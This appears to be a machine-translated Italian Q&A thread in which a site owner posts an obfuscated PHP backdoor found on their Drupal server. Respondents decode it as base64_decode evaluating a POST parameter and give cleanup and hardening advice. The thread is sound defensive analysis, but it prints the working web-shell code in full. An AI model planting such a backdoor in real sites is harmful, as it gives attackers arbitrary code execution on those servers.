2015-03-28 12 views
20

Il mio server è stato recentemente attaccato e ho cercato di cercare come e perché sta accadendo.Cercando di decodificare un virus

Ho trovato un modello molto simile nei file virus che assomiglia a qualcosa del genere - per quanto posso dire che sta cercando di eseguire un file specifico?

Qualcuno ha visto qualcosa di simile e come dovrei interpretarlo? È solo afferrare i singoli caratteri in base alla stringa $sF?

<?php 

$sF = "PCT4BA6ODSE_"; 
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]); 
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3']; 
if (isset($s22)) { 
    eval($s21($s22)); 
}?> 
+5

se siete interessati il ​​virus è PHP/Agent.NEH trojan – Martin

+1

Questo è interessante. Grazie. Sai da qualche altra parte che posso trovare informazioni su di esso/in qualsiasi altro luogo che potrebbe essere stato infettato? –

+1

Ha, vedo come l'hai scoperto. –

risposta

27

La variabile $s21 è uguale a base64_decode e $s22 è uguale a $_POST['nd335c3'].

Ogni volta che viene effettuata una richiesta di POST sul server, esegue qualsiasi comando in $_POST['nd335c3']; che, come potete prevedere, è molto pericoloso.

Dubito fortemente che il tuo server sia stato violato, ma invece lo script del tuo sito Web è stato sfruttato. C'è un posto sul tuo sito dove gli utenti possono caricare i file? Ho visto un sacco di cose come questa con WordPress con Plugins male codificati.

risolvere il problema

Per risolvere il problema, prima cancellare il file o la sezione di codice. Potresti voler arrestare il tuo sito e metterlo in modalità di manutenzione fino a quando non puoi cercare e verificare che tutti gli altri file non siano stati modificati.

Una volta eseguito il backup del sito, è possibile registrare le richieste indirizzate a dove si trovava il file compromesso o richieste che contengono la stessa variabile POST.

Una volta che un utente invia i dati all'exploit, è possibile controllare tutti gli altri file di registro e confrontarli con lo stesso indirizzo IP e Agente utente. Questo è un campo lontano, ma si spera che usino solo un computer per fare l'attacco. Dai log puoi vedere esattamente cosa hanno visitato per eseguire l'attacco e caricare il file sfruttato.

Prevenire questo in futuro

  1. Non installare alcun codice a trovare on-line sul vostro sito a meno che non vi fidate lo sviluppatore e credere che sia completamente sicuro e sapere che rilasciano gli aggiornamenti.
  2. Imposta il tuo server web per non avere accesso in scrittura oltre alla directory di caricamento e /tmp
  3. Verifica tutti i file caricati per assicurarti che siano esattamente come ti aspetti che siano.
  4. Non consentire l'esecuzione di PHP in cui vengono caricati i file, scaricare i file come file diretti statici. In questo modo, se è stato caricato un file che ignora i controlli dei file, non può comunque causare alcun danno.
+1

È un'installazione Drupal. Non riesco a pensare a un posto specifico in cui gli utenti possano caricare i file, ma controllerò e disabiliterò tali funzionalità per il momento. –

+1

Sai, posso solo dire che il file con 'GIF89a 'è di tipo' image/gif' e tu ne saresti felice. Mai e poi mai controllare il mimetype! Vuoi caricare un'immagine? Usa la funzione 'getimagesize()' e controlla se restituisce 'false'. Altri file? Controlla la funzione 'finfo_file()' (http://php.net/manual/en/function.finfo-file.php). –

+1

In realtà penso che l'infezione possa essere accaduta un anno fa quando ero ancora in hosting condiviso, e ho mostrato solo i sintomi da quando mi sono trasferito in un VPS con il mio server di posta. –

8

Basta seguire il codice di base contatination su stringa $ SF, e vedrete che

$21 = "base64_decode"; 
$22 = "_POST['nd335c3']"; 

e il resto del codice, in pratica verificare se _POST [ 'nd335c3'] esiste e in caso affermativo eseguire Codice PHP: base64_decode(_POST['nd335c3']);

ciò che viene fatto dopo non lo so, poiché non hai visualizzato l'intero codice del virus.

Spero che aiuti un po '.

4

Virus molto bello. Le risposte sopra sembrano spiegare abbastanza bene, ma forse ora puoi capire meglio PHP. Puoi vedere quanto PHP sia piuttosto amichevole nei confronti dei virus, ma questa è una delle cose che lo rende così versatile e un linguaggio fantastico, che può essere usato per molte cose.
un esempio un po 'meno dannoso di offuscamento del codice:

<?php 

$v1 = "sartvuhi_"; 
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8]; 
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8]; 
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0]; 

echo $v2 . $v3 . $v4; 
?>